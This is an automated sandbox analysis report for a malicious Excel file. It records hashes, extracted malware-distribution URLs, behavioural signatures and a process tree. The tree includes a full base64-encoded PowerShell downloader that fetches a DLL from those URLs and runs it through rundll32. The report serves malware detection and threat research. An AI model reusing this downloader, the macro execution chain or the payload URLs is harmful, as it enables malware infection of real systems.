Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
16s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
-
submitted
02/09/2024, 21:03
General
-
Target
89dbb0e62b66305ca1fee67fa6832cf321ec12e636799c18e0d7e1aeddce8c35.xls
-
Size
151KB
-
MD5
57ae9a272db8afd8070654e33aad712e
-
SHA1
7d843ebfbc5f3c39fae771282397fb32167ec1c1
-
SHA256
89dbb0e62b66305ca1fee67fa6832cf321ec12e636799c18e0d7e1aeddce8c35
-
SHA512
17446c77f0fc0058a7b947c4460c362bccccc9262a9543a9680bc6c8ff83219319656853665e33a7b295e91908b31159bc7b9351271896791f0cc2d18815c6dd
-
SSDEEP
3072:hcKoSsxzNDZLDZjlbR868O8KlVH3dehvMqAPjxO5xyZUE5V5xtezEVg8/dg1Gx0n:hcKoSsxzNDZLDZjlbR868O8KlVH3dehD
Malware Config
Extracted
http://aishyana.com/wp-admin/6pY001tdOxYb10/
https://nccikeja.com/back/lOo46UEiVanm/
https://mail.themintlist.com/wp-includes/S5xbjWOoM75ysw9xaM/
https://karaah.com/kvxtqec/L8mqXiKjN95uoFOQqDS/
https://mail.terinhumphrey.com/tasty-crab-promo/qBdohcsqomjFk/
https://mail.gymcoachjose.com/ew9iwl/av20pfJZ44/
https://sahayoghospitals.com/older/NFPLtNt4M3D1yYt/
http://3.130.37.158/wp-admin/YDjVQgZv/
https://stntools.com/js/uhTyC/
https://www.dirtduel.com/db/v4gdL66Y/
https://advancedguerrillamarketing.com/assets/oUD/
https://orelco.net/wp-admin/5NiO/
http://gainc.info/product3_files/PwAGXtbf6tn5r/
https://astronomy24x7.com/wp-content/05ZGtxtrfIxNVb0M/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 5 IoCs
-
Suspicious use of WriteProcessMemory 23 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\89dbb0e62b66305ca1fee67fa6832cf321ec12e636799c18e0d7e1aeddce8c35.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\wetidjks.vbs2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\jledshf.bat" "3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBhAGkAcwBoAHkAYQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADYAcABZADAAMAAxAHQAZABPAHgAWQBiADEAMAAvACwAaAB0AHQAcABzADoALwAvAG4AYwBjAGkAawBlAGoAYQAuAGMAbwBtAC8AYgBhAGMAawAvAGwATwBvADQANgBVAEUAaQBWAGEAbgBtAC8ALABoAHQAdABwAHMAOgAvAC8AbQBhAGkAbAAuAHQAaABlAG0AaQBuAHQAbABpAHMAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AUwA1AHgAYgBqAFcATwBvAE0ANwA1AHkAcwB3ADkAeABhAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwBrAGEAcgBhAGEAaAAuAGMAbwBtAC8AawB2AHgAdABxAGUAYwAvAEwAOABtAHEAWABpAEsAagBOADkANQB1AG8ARgBPAFEAcQBEAFMALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAaQBsAC4AdABlAHIAaQBuAGgAdQBtAHAAaAByAGUAeQAuAGMAbwBtAC8AdABhAHMAdAB5AC0AYwByAGEAYgAtAHAAcgBvAG0AbwAvAHEAQgBkAG8AaABjAHMAcQBvAG0AagBGAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAaQBsAC4AZwB5AG0AYwBvAGEAYwBoAGoAbwBzAGUALgBjAG8AbQAvAGUAdwA5AGkAdwBsAC8AYQB2ADIAMABwAGYASgBaADQANAAvACwAaAB0AHQAcABzADoALwAvAHMAYQBoAGEAeQBvAGcAaABvAHMAcABpAHQAYQBsAHMALgBjAG8AbQAvAG8AbABkAGUAcgAvAE4ARgBQAEwAdABOAHQANABNADMARAAxAHkAWQB0AC8ALABoAHQAdABwADoALwAvADMALgAxADMAMAAuADMANwAuADEANQA4AC8AdwBwAC0AYQBkAG0AaQBuAC8AWQBEAGoAVgBRAGcAWgB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwB0AG4AdABvAG8AbABzAC4AYwBvAG0ALwBqAHMALwB1AGgAVAB5AEMALwAsAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGQAaQByAHQAZAB1AGUAbAAuAGMAbwBtAC8AZABiAC8AdgA0AGcAZABMADYANgBZAC8ALABoAHQAdABwAHMAOgAvAC8AYQBkAHYAYQBuAGMAZQBkAGcAdQBlAHIAcgBpAGwAbABhAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwBhAHMAcwBlAHQAcwAvAG8AVQBEAC8ALABoAHQAdABwAHMAOgAvAC8AbwByAGUAbABjAG8ALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvADUATgBpAE8ALwAsAGgAdAB0AHAAOgAvAC8AZwBhAGkAbgBjAC4AaQBuAGYAbwAvAHAAcgBvAGQAdQBjAHQAMwBfAGYAaQBsAGUAcwAvAFAAdwBBAEcAWAB0AGIAZgA2AHQAbgA1AHIALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHMAdAByAG8AbgBvAG0AeQAyADQAeAA3AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA1AFoARwB0AHgAdAByAGYASQB4AE4AVgBiADAATQAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd4⤵
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5d8220bb8385825eff7fe5e22bf2eb885
SHA1cf3028eb0ba914cdb699b13c3d7ef54e764c5f83
SHA2566c2eb6914bd455d15ba66d2e108ebfbc9f67c6d4d7e4ef6df1ff624946761927
SHA5124f2c32fae7d618b12cb827130df0efe2842de0ed34a68c74db576d19b17c6ac939150aea421f8867238688b8280ca7231e870d5144320bd7a839c67a6370ea1f
-
Filesize
331B
MD53b1981c56995aa93dfac052238402b1a
SHA136676ee9ff2096b8c9d6179ea3db2d1a93c6cb04
SHA256fca2b52421d1f71dd2e058f604346b853f621c5625e5a42006583bf8115797f1
SHA512f82962b1faaa93749684b2f8d77e02133b5a8ac64d984effd341324afd034adb8c69af1d812a69df10fd2fa924885c30e590365d23281bef5bbfa52f39e31a8a
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB